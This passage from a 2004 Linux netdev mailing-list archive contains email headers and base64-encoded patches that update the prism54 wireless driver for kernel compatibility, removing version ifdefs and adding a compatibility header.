c25wcmludGYoc3RyICsgdCwgUFJJVl9TVFJfU0laRSAtIHQsCisJCQkJCSAgICAgICIlMDJYOiIs IGJ1ZmZbaV0pOworCQkJdCArPSBzbnByaW50ZihzdHIgKyB0LCBQUklWX1NUUl9TSVpFIC0gdCwg IlxuIik7CisJCQlyZXR1cm4gdDsKKwkJfQorCQlicmVhazsKKwlkZWZhdWx0OgorCQlCVUcoKTsK Kwl9CisJcmV0dXJuIDA7Cit9CmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNi9kcml2ZXJzL25ldC93 aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuaCBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJl bGVzcy9wcmlzbTU0L29pZF9tZ3QuaAotLS0gbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxl c3MvcHJpc201NC9vaWRfbWd0LmgJMjAwNC0wNS0yOCAxMzo1MzoyOS40MDk3OTMwMjQgKzAyMDAK KysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5o CTIwMDQtMDUtMjggMTM6NTY6MTYuMTcxNDQxNDAwICswMjAwCkBAIC0zMiw2ICszMiw4IEBACiAK IGV4dGVybiBjb25zdCBpbnQgZnJlcXVlbmN5X2xpc3RfYVtdOwogCit2b2lkIG1ndF9sZV90b19j cHUoaW50LCB2b2lkICopOworCiBpbnQgbWd0X3NldF9yZXF1ZXN0KGlzbHBjaV9wcml2YXRlICos IGVudW0gb2lkX251bV90LCBpbnQsIHZvaWQgKik7CiAKIGludCBtZ3RfZ2V0X3JlcXVlc3QoaXNs cGNpX3ByaXZhdGUgKiwgZW51bSBvaWRfbnVtX3QsIGludCwgdm9pZCAqLApAQCAtNDcsNSArNDks NyBAQAogCiBlbnVtIG9pZF9udW1fdCBtZ3Rfb2lkdG9udW0odTMyIG9pZCk7CiAKK2ludCBtZ3Rf cmVzcG9uc2VfdG9fc3RyKGVudW0gb2lkX251bV90LCB1bmlvbiBvaWRfcmVzX3QgKiwgY2hhciAq KTsKKwogI2VuZGlmCQkJCS8qICFkZWZpbmVkKF9PSURfTUdUX0gpICovCiAvKiBFT0YgKi8K --=====================_50342158==_-- From margitsw@t-online.de Sun May 30 13:08:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:08:39 -0700 (PDT) Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK8Ygi001482 for ; Sun, 30 May 2004 13:08:37 -0700 Received: from fwd04.aul.t-online.de by mailout05.sul.t-online.com with smtp id 1BUWbh-00085I-03; Sun, 30 May 2004 22:08:33 +0200 Received: from margit.t-online.de (r9V72qZpYezxMAqY+GY1JFvLM-8jM5JuQxbQcAG89dyciEBIw2dRwQ@[80.128.220.231]) by fwd04.sul.t-online.com with esmtp id 1BUWba-1g1R4a0; Sun, 30 May 2004 22:08:26 +0200 Message-Id: <5.1.0.14.2.20040530213639.00b03a08@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:46:53 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 6/17 linux-2.6.7-rc2] prism54: Kernel compatibility Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50426880==_" X-Seen: false X-ID: r9V72qZpYezxMAqY+GY1JFvLM-8jM5JuQxbQcAG89dyciEBIw2dRwQ X-archive-position: 5473 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50426880==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-03-20 Margit Schubert-While * isl_38xx.[ch], isl_ioctl.c, islpci_dev.[ch], islpci_eth.c islpci_hotplug.c, islpci_mgt.[ch], oid_mgt.c, prismcompat.h: Adopt new prism54 kernel compatibility. Remove remaining kernel version ifdefs. --=====================_50426880==_ Content-Type: application/octet-stream; name="06-kernel-compatibility.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="06-kernel-compatibility.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfMzh4eC5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNs XzM4eHguYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF8zOHh4LmMJMjAwNC0wNS0yOCAxMzo1MzoyOS4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIu Ni42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguYwkyMDA0LTA1LTI4 IDE0OjI1OjMwLjA1NTgxMDQ0OCArMDIwMApAQCAtMjUsMTcgKzI1LDExIEBACiAjaW5jbHVkZSA8 bGludXgvdHlwZXMuaD4KICNpbmNsdWRlIDxsaW51eC9kZWxheS5oPgogCi0jaW5jbHVkZSAiaXNs XzM4eHguaCIKLSNpbmNsdWRlIDxsaW51eC9maXJtd2FyZS5oPgotCiAjaW5jbHVkZSA8YXNtL3Vh Y2Nlc3MuaD4KICNpbmNsdWRlIDxhc20vaW8uaD4KIAotI2luY2x1ZGUgPGxpbnV4L2NvbmZpZy5o PgotI2lmICFkZWZpbmVkKENPTkZJR19GV19MT0FERVIpICYmICFkZWZpbmVkKENPTkZJR19GV19M T0FERVJfTU9EVUxFKQotI2Vycm9yIE5vIEZpcm13YXJlIExvYWRpbmcgY29uZmlndXJlZCBpbiB0 aGUga2VybmVsICEKLSNlbmRpZgotCisjaW5jbHVkZSAicHJpc21jb21wYXQuaCIKKyNpbmNsdWRl ICJpc2xfMzh4eC5oIgogI2luY2x1ZGUgImlzbHBjaV9kZXYuaCIKICNpbmNsdWRlICJpc2xwY2lf bWd0LmgiCiAKZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3Mv cHJpc201NC9pc2xfMzh4eC5oIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3By aXNtNTQvaXNsXzM4eHguaAotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9w cmlzbTU0L2lzbF8zOHh4LmgJMjAwNC0wNS0yOCAxMzo1MzoyOS4wMDAwMDAwMDAgKzAyMDAKKysr IGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguaAky MDA0LTA1LTI4IDE0OjI1OjMwLjA1NzgxMDE0NCArMDIwMApAQCAtMjIsMTQgKzIyLDYgQEAKIAog I2luY2x1ZGUgPGxpbnV4L3ZlcnNpb24uaD4KICNpbmNsdWRlIDxhc20vaW8uaD4KLQotI2lmIChM SU5VWF9WRVJTSU9OX0NPREUgPiBLRVJORUxfVkVSU0lPTigyLDUsNzUpKQotI2luY2x1ZGUgPGxp bnV4L2RldmljZS5oPgotIyBkZWZpbmUgX1JFUV9GV19ERVZfVCBzdHJ1Y3QgZGV2aWNlICoKLSNl bHNlCi0jIGRlZmluZSBfUkVRX0ZXX0RFVl9UIGNoYXIgKgotI2VuZGlmCi0KICNpbmNsdWRlIDxh c20vYnl0ZW9yZGVyLmg+CiAKICNkZWZpbmUgSVNMMzhYWF9DQl9SWF9RU0laRSAgICAgICAgICAg ICAgICAgICAgIDgKZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxl c3MvcHJpc201NC9pc2xfaW9jdGwuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVz cy9wcmlzbTU0L2lzbF9pb2N0bC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmMJMjAwNC0wNS0yOCAxNDowNzoyMi42MzMxMjM4MjQgKzAy MDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX2lv Y3RsLmMJMjAwNC0wNS0yOCAxNDoyNTozMC4wNTk4MDk4NDAgKzAyMDAKQEAgLTI1LDEwICsyNSwx MCBAQAogI2luY2x1ZGUgPGxpbnV4L2tlcm5lbC5oPgogI2luY2x1ZGUgPGxpbnV4L2lmX2FycC5o PgogI2luY2x1ZGUgPGxpbnV4L3BjaS5oPgotI2luY2x1ZGUgPGxpbnV4L21vZHVsZXBhcmFtLmg+ CiAKICNpbmNsdWRlIDxhc20vdWFjY2Vzcy5oPgogCisjaW5jbHVkZSAicHJpc21jb21wYXQuaCIK ICNpbmNsdWRlICJpc2xfaW9jdGwuaCIKICNpbmNsdWRlICJpc2xwY2lfbWd0LmgiCiAjaW5jbHVk ZSAiaXNsX29pZC5oIgkJLyogYWRkaXRpb25hbCB0eXBlcyBhbmQgZGVmcyBmb3IgaXNsMzh4eCBm dyAqLwpkaWZmIC1OYXVyRWIgbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlz bTU0L2lzbHBjaV9kZXYuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlz bTU0L2lzbHBjaV9kZXYuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9w cmlzbTU0L2lzbHBjaV9kZXYuYwkyMDA0LTA1LTI4IDE0OjA3OjIyLjYzNzEyMzIxNiArMDIwMAor KysgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2 LmMJMjAwNC0wNS0yOCAxNDoyNjozOC42ODYzNzcwMTYgKzAyMDAKQEAgLTMwLDYgKzMwLDcgQEAK IAogI2luY2x1ZGUgPGFzbS9pby5oPgogCisjaW5jbHVkZSAicHJpc21jb21wYXQuaCIKICNpbmNs dWRlICJpc2xfMzh4eC5oIgogI2luY2x1ZGUgImlzbF9pb2N0bC5oIgogI2luY2x1ZGUgImlzbHBj aV9kZXYuaCIKQEAgLTM3LDEyICszOCw2IEBACiAjaW5jbHVkZSAiaXNscGNpX2V0aC5oIgogI2lu Y2x1ZGUgIm9pZF9tZ3QuaCIKIAotI2lmIExJTlVYX1ZFUlNJT05fQ09ERSA8PSBLRVJORUxfVkVS U0lPTigyLDUsMCkKLSNkZWZpbmUgcHJpc201NF9zeW5jaHJvbml6ZV9pcnEoaXJxKSBzeW5jaHJv bml6ZV9pcnEoKQotI2Vsc2UKLSNkZWZpbmUgcHJpc201NF9zeW5jaHJvbml6ZV9pcnEoaXJxKSBz eW5jaHJvbml6ZV9pcnEoaXJxKQotI2VuZGlmCi0KICNkZWZpbmUgSVNMMzg3N19JTUFHRV9GSUxF CSJpc2wzODc3IgogI2RlZmluZSBJU0wzODkwX0lNQUdFX0ZJTEUJImlzbDM4OTAiCiAKQEAgLTMy NSwxMSArMzIwLDcgQEAKIAlwcmludGsoS0VSTl9ERUJVRyAiJXM6IHVwbG9hZGluZyBmaXJtd2Fy ZS4uLlxuIiwgcHJpdi0+bmRldi0+bmFtZSk7CiAKIAlyYyA9IGlzbDM4eHhfdXBsb2FkX2Zpcm13 YXJlKHByaXYtPmZpcm13YXJlLAotI2lmIChMSU5VWF9WRVJTSU9OX0NPREUgPiBLRVJORUxfVkVS U0lPTigyLDUsNzUpKQotCQkmcHJpdi0+cGRldi0+ZGV2LAotI2Vsc2UKLQkJcGNpX25hbWUocHJp di0+cGRldiksCi0jZW5kaWYKKwkJUFJJU01fRldfUERFViwKIAkJcHJpdi0+ZGV2aWNlX2Jhc2Us CiAJCXByaXYtPmRldmljZV9ob3N0X2FkZHJlc3MpOwogCWlmIChyYykgewpAQCAtMzU3LDE1ICsz NDgsOCBAQAogCWludCByZXN1bHQgPSAtRVRJTUU7CiAJaW50IGNvdW50OwogCi0jaWYgTElOVVhf VkVSU0lPTl9DT0RFID49IEtFUk5FTF9WRVJTSU9OKDIsNiwwKQotCS8qIFRoaXMgaXMgMi42IHNw ZWNpZmljLCBuaWNlciwgc2hvcnRlciwgYnV0IG5vdCBpbiAyLjQgeWV0ICovCiAJREVGSU5FX1dB SVQod2FpdCk7CiAJcHJlcGFyZV90b193YWl0KCZwcml2LT5yZXNldF9kb25lLCAmd2FpdCwgVEFT S19VTklOVEVSUlVQVElCTEUpOwotI2Vsc2UKLQlERUNMQVJFX1dBSVRRVUVVRSh3YWl0LCBjdXJy ZW50KTsKLQlzZXRfY3VycmVudF9zdGF0ZShUQVNLX1VOSU5URVJSVVBUSUJMRSk7Ci0JYWRkX3dh aXRfcXVldWUoJnByaXYtPnJlc2V0X2RvbmUsICZ3YWl0KTsKLSNlbmRpZgogCQogCS8qIG5vdyB0 aGUgbGFzdCBzdGVwIGlzIHRvIHJlc2V0IHRoZSBpbnRlcmZhY2UgKi8KIAlpc2wzOHh4X2ludGVy ZmFjZV9yZXNldChwcml2LT5kZXZpY2VfYmFzZSwgcHJpdi0+ZGV2aWNlX2hvc3RfYWRkcmVzcyk7 CkBAIC0zOTAsMTMgKzM3NCw3IEBACiAKIAl9CiAKLSNpZiBMSU5VWF9WRVJTSU9OX0NPREUgPj0g S0VSTkVMX1ZFUlNJT04oMiw2LDApCi0JLyogMi42IHNwZWNpZmljIHRvbyAqLwogCWZpbmlzaF93 YWl0KCZwcml2LT5yZXNldF9kb25lLCAmd2FpdCk7Ci0jZWxzZQotCXJlbW92ZV93YWl0X3F1ZXVl KCZwcml2LT5yZXNldF9kb25lLCAmd2FpdCk7Ci0Jc2V0X2N1cnJlbnRfc3RhdGUoVEFTS19SVU5O SU5HKTsKLSNlbmRpZgogCiAJaWYocmVzdWx0KQogCQlyZXR1cm4gcmVzdWx0OwpkaWZmIC1OYXVy RWIgbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYu aCBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYu aAotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9k ZXYuaAkyMDA0LTA1LTI4IDE0OjA3OjIyLjYzOTEyMjkxMiArMDIwMAorKysgbGludXgtMi42LjYt MDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmgJMjAwNC0wNS0yOCAx NDoyNTozMC4wNjM4MDkyMzIgKzAyMDAKQEAgLTI5LDIwICsyOSw2IEBACiAjaW5jbHVkZSA8bmV0 L2l3X2hhbmRsZXIuaD4KICNpbmNsdWRlIDxsaW51eC9saXN0Lmg+CiAKLSNpZiBMSU5VWF9WRVJT SU9OX0NPREUgPiBLRVJORUxfVkVSU0lPTigyLDUsNDEpCi0jIGluY2x1ZGUgPGxpbnV4L3dvcmtx dWV1ZS5oPgotI2Vsc2UKLSMgaW5jbHVkZSA8bGludXgvdHF1ZXVlLmg+Ci0jIGRlZmluZSB3b3Jr X3N0cnVjdCB0cV9zdHJ1Y3QKLSMgZGVmaW5lIElOSVRfV09SSyBJTklUX1RRVUVVRQotIyBkZWZp bmUgc2NoZWR1bGVfd29yayBzY2hlZHVsZV90YXNrCi0jZW5kaWYKLQotI2lmIExJTlVYX1ZFUlNJ T05fQ09ERSA8IEtFUk5FTF9WRVJTSU9OKDIsNCwyMykKLSNkZWZpbmUgZnJlZV9uZXRkZXYoeCkg a2ZyZWUoeCkgCi0jZGVmaW5lIHBjaV9uYW1lKHgpIHgtPnNsb3RfbmFtZSAKLSNlbmRpZgotCiAj aW5jbHVkZSAiaXNsXzM4eHguaCIKICNpbmNsdWRlICJpc2xfb2lkLmgiCiAjaW5jbHVkZSAiaXNs cGNpX21ndC5oIgpAQCAtMjEwLDEyICsxOTYsNiBAQAogCiAjZGVmaW5lIElTTFBDSV9UWF9USU1F T1VUICAgICAgICAgICAgICAgKDIqSFopCiAKLSNpZiAoTElOVVhfVkVSU0lPTl9DT0RFIDw9IEtF Uk5FTF9WRVJTSU9OKDIsNSw3NSkpCi0jIGRlZmluZSBpcnFyZXR1cm5fdCB2b2lkCi0jIGRlZmlu ZSBJUlFfSEFORExFRAotIyBkZWZpbmUgSVJRX05PTkUKLSNlbmRpZgotCiBpcnFyZXR1cm5fdCBp c2xwY2lfaW50ZXJydXB0KGludCwgdm9pZCAqLCBzdHJ1Y3QgcHRfcmVncyAqKTsKIAogaW50IHBy aXNtNTRfcG9zdF9zZXR1cChpc2xwY2lfcHJpdmF0ZSAqLCBpbnQpOwpkaWZmIC1OYXVyRWIgbGlu dXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYyBsaW51 eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwotLS0g bGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ldGguYwky MDA0LTA1LTI4IDE0OjA3OjIyLjY0MTEyMjYwOCArMDIwMAorKysgbGludXgtMi42LjYtMDEvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMJMjAwNC0wNS0yOCAxNDoyNToz MC4wNjU4MDg5MjggKzAyMDAKQEAgLTI2LDYgKzI2LDcgQEAKICNpbmNsdWRlIDxsaW51eC9ldGhl cmRldmljZS5oPgogI2luY2x1ZGUgPGxpbnV4L2lmX2FycC5oPgogCisjaW5jbHVkZSAicHJpc21j b21wYXQuaCIKICNpbmNsdWRlICJpc2xfMzh4eC5oIgogI2luY2x1ZGUgImlzbHBjaV9ldGguaCIK ICNpbmNsdWRlICJpc2xwY2lfbWd0LmgiCmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNmN0L2RyaXZl cnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2hvdHBsdWcuYyBsaW51eC0yLjYuNi0wMS9k cml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ob3RwbHVnLmMKLS0tIGxpbnV4LTIu Ni42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfaG90cGx1Zy5jCTIwMDQt MDUtMjggMTM6NTM6MjkuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9ob3RwbHVnLmMJMjAwNC0wNS0yOCAxNDoyNToz MC4wNjY4MDg3NzYgKzAyMDAKQEAgLTI0LDYgKzI0LDcgQEAKICNpbmNsdWRlIDxsaW51eC9kZWxh eS5oPgogI2luY2x1ZGUgPGxpbnV4L2luaXQuaD4gLyogRm9yIF9faW5pdCwgX19leGl0ICovCiAK KyNpbmNsdWRlICJwcmlzbWNvbXBhdC5oIgogI2luY2x1ZGUgImlzbHBjaV9kZXYuaCIKICNpbmNs dWRlICJpc2xwY2lfbWd0LmgiCQkvKiBmb3IgcGNfZGVidWcgKi8KICNpbmNsdWRlICJpc2xfb2lk LmgiCmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX21ndC5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX21ndC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3By aXNtNTQvaXNscGNpX21ndC5jCTIwMDQtMDUtMjggMTM6NTM6MjkuMDAwMDAwMDAwICswMjAwCisr KyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9tZ3Qu YwkyMDA0LTA1LTI4IDE0OjI3OjE1LjM4OTc5NzI0OCArMDIwMApAQCAtMjIsMTIgKzIyLDEyIEBA CiAjaW5jbHVkZSA8bGludXgvbmV0ZGV2aWNlLmg+CiAjaW5jbHVkZSA8bGludXgvbW9kdWxlLmg+ CiAjaW5jbHVkZSA8bGludXgvcGNpLmg+Ci0jaW5jbHVkZSA8bGludXgvbW9kdWxlcGFyYW0uaD4K IAogI2luY2x1ZGUgPGFzbS9pby5oPgogI2luY2x1ZGUgPGFzbS9zeXN0ZW0uaD4KICNpbmNsdWRl IDxsaW51eC9pZl9hcnAuaD4KIAorI2luY2x1ZGUgInByaXNtY29tcGF0LmgiCiAjaW5jbHVkZSAi aXNsXzM4eHguaCIKICNpbmNsdWRlICJpc2xwY2lfbWd0LmgiCiAjaW5jbHVkZSAiaXNsX29pZC5o IgkJLyogYWRkaXRpb25hbCB0eXBlcyBhbmQgZGVmcyBmb3IgaXNsMzh4eCBmdyAqLwpAQCAtNDU2 LDIxICs0NTYsMTIgQEAKIAljb25zdCBsb25nIHdhaXRfY3ljbGVfamlmZmllcyA9IChJU0wzOFhY X1dBSVRfQ1lDTEUgKiAxMCAqIEhaKSAvIDEwMDA7CiAJbG9uZyB0aW1lb3V0X2xlZnQgPSBJU0wz OFhYX01BWF9XQUlUX0NZQ0xFUyAqIHdhaXRfY3ljbGVfamlmZmllczsKIAlpbnQgZXJyOwotI2lm IExJTlVYX1ZFUlNJT05fQ09ERSA+PSBLRVJORUxfVkVSU0lPTigyLDYsMCkKIAlERUZJTkVfV0FJ VCh3YWl0KTsKLSNlbHNlCi0JREVDTEFSRV9XQUlUUVVFVUUod2FpdCwgY3VycmVudCk7Ci0jZW5k aWYKIAogCWlmIChkb3duX2ludGVycnVwdGlibGUoJnByaXYtPm1nbXRfc2VtKSkKIAkJcmV0dXJu IC1FUkVTVEFSVFNZUzsKIAotI2lmIExJTlVYX1ZFUlNJT05fQ09ERSA+PSBLRVJORUxfVkVSU0lP TigyLDYsMCkKIAlwcmVwYXJlX3RvX3dhaXQoJnByaXYtPm1nbXRfd3F1ZXVlLCAmd2FpdCwgVEFT S19VTklOVEVSUlVQVElCTEUpOwotI2Vsc2UKLQlzZXRfY3VycmVudF9zdGF0ZShUQVNLX1VOSU5U RVJSVVBUSUJMRSk7Ci0JYWRkX3dhaXRfcXVldWUoJnByaXYtPm1nbXRfd3F1ZXVlLCAmd2FpdCk7 Ci0jZW5kaWYKIAllcnIgPSBpc2xwY2lfbWd0X3RyYW5zbWl0KG5kZXYsIG9wZXJhdGlvbiwgb2lk LCBzZW5kZGF0YSwgc2VuZGxlbik7CiAJaWYoZXJyKQogCQlnb3RvIG91dDsKQEAgLTQ5OSwxMiAr NDkwLDcgQEAKIAogCS8qIFRPRE86IHdlIHNob3VsZCByZXNldCB0aGUgZGV2aWNlIGhlcmUgKi8g ICAgIAogIG91dDoKLSNpZiBMSU5VWF9WRVJTSU9OX0NPREUgPj0gS0VSTkVMX1ZFUlNJT04oMiw2 LDApCiAJZmluaXNoX3dhaXQoJnByaXYtPm1nbXRfd3F1ZXVlLCAmd2FpdCk7Ci0jZWxzZQotCXJl bW92ZV93YWl0X3F1ZXVlKCZwcml2LT5tZ210X3dxdWV1ZSwgJndhaXQpOwotCXNldF9jdXJyZW50 X3N0YXRlKFRBU0tfUlVOTklORyk7Ci0jZW5kaWYKIAl1cCgmcHJpdi0+bWdtdF9zZW0pOwogCXJl dHVybiBlcnI7CiB9CmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNscGNpX21ndC5oIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNscGNpX21ndC5oCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5oCTIwMDQtMDUtMjggMTM6NTM6MjkuMDAwMDAwMDAw ICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bHBjaV9tZ3QuaAkyMDA0LTA1LTI4IDE0OjI1OjMwLjA2OTgwODMyMCArMDIwMApAQCAtMjQsMTUg KzI0LDYgQEAKICNpbmNsdWRlIDxsaW51eC93aXJlbGVzcy5oPgogI2luY2x1ZGUgPGxpbnV4L3Nr YnVmZi5oPgogCi0jaWYgTElOVVhfVkVSU0lPTl9DT0RFID4gS0VSTkVMX1ZFUlNJT04oMiw1LDQx KQotIyBpbmNsdWRlIDxsaW51eC93b3JrcXVldWUuaD4KLSNlbHNlCi0jIGluY2x1ZGUgPGxpbnV4 L3RxdWV1ZS5oPgotIyBkZWZpbmUgd29ya19zdHJ1Y3QgdHFfc3RydWN0Ci0jIGRlZmluZSBJTklU X1dPUksgSU5JVF9UUVVFVUUKLSMgZGVmaW5lIHNjaGVkdWxlX3dvcmsgc2NoZWR1bGVfdGFzawot I2VuZGlmCi0KIC8qCiAgKiAgRnVuY3Rpb24gZGVmaW5pdGlvbnMKICAqLwpkaWZmIC1OYXVyRWIg bGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYyBsaW51 eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwotLS0gbGlu dXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwkyMDA0LTA1 LTI4IDE0OjA3OjIyLjY0NDEyMjE1MiArMDIwMAorKysgbGludXgtMi42LjYtMDEvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMJMjAwNC0wNS0yOCAxNDoyNTozMC4wNzE4MDgw MTYgKzAyMDAKQEAgLTE2LDYgKzE2LDcgQEAKICAqCiAgKi8KIAorI2luY2x1ZGUgInByaXNtY29t cGF0LmgiCiAjaW5jbHVkZSAiaXNscGNpX2Rldi5oIgogI2luY2x1ZGUgImlzbHBjaV9tZ3QuaCIK ICNpbmNsdWRlICJpc2xfb2lkLmgiCmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNmN0L2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvcHJpc21jb21wYXQuaCBsaW51eC0yLjYuNi0wMS9kcml2ZXJz L25ldC93aXJlbGVzcy9wcmlzbTU0L3ByaXNtY29tcGF0LmgKLS0tIGxpbnV4LTIuNi42Y3QvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9wcmlzbWNvbXBhdC5oCTE5NzAtMDEtMDEgMDE6MDA6 MDAuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVz cy9wcmlzbTU0L3ByaXNtY29tcGF0LmgJMjAwNC0wNS0yOCAxNDoyNTozMC4wNzM4MDc3MTIgKzAy MDAKQEAgLTAsMCArMSw0NyBAQAorLyogIAorICogIChDKSAyMDA0IE1hcmdpdCBTY2h1YmVydC1X aGlsZSA8bWFyZ2l0c3dAdC1vbmxpbmUuZGU+CisgKgorICogIFRoaXMgcHJvZ3JhbSBpcyBmcmVl IHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CisgKiAgaXQg dW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJs aXNoZWQgYnkKKyAqICB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIgdmVyc2lv biAyIG9mIHRoZSBMaWNlbnNlCisgKgorICogIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBp biB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICogIGJ1dCBXSVRIT1VUIEFOWSBX QVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgKiAgTUVSQ0hB TlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQor ICogIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisgKgorICog IFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1Ymxp YyBMaWNlbnNlCisgKiAgYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8g dGhlIEZyZWUgU29mdHdhcmUKKyAqICBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2Us IFN1aXRlIDMzMCwgQm9zdG9uLCBNQSAgMDIxMTEtMTMwNyAgVVNBCisgKgorICovCisKKy8qICAK KyAqCUNvbXBhdGliaWxpdHkgaGVhZGVyIGZpbGUgdG8gYWlkIHN1cHBvcnQgb2YgZGlmZmVyZW50 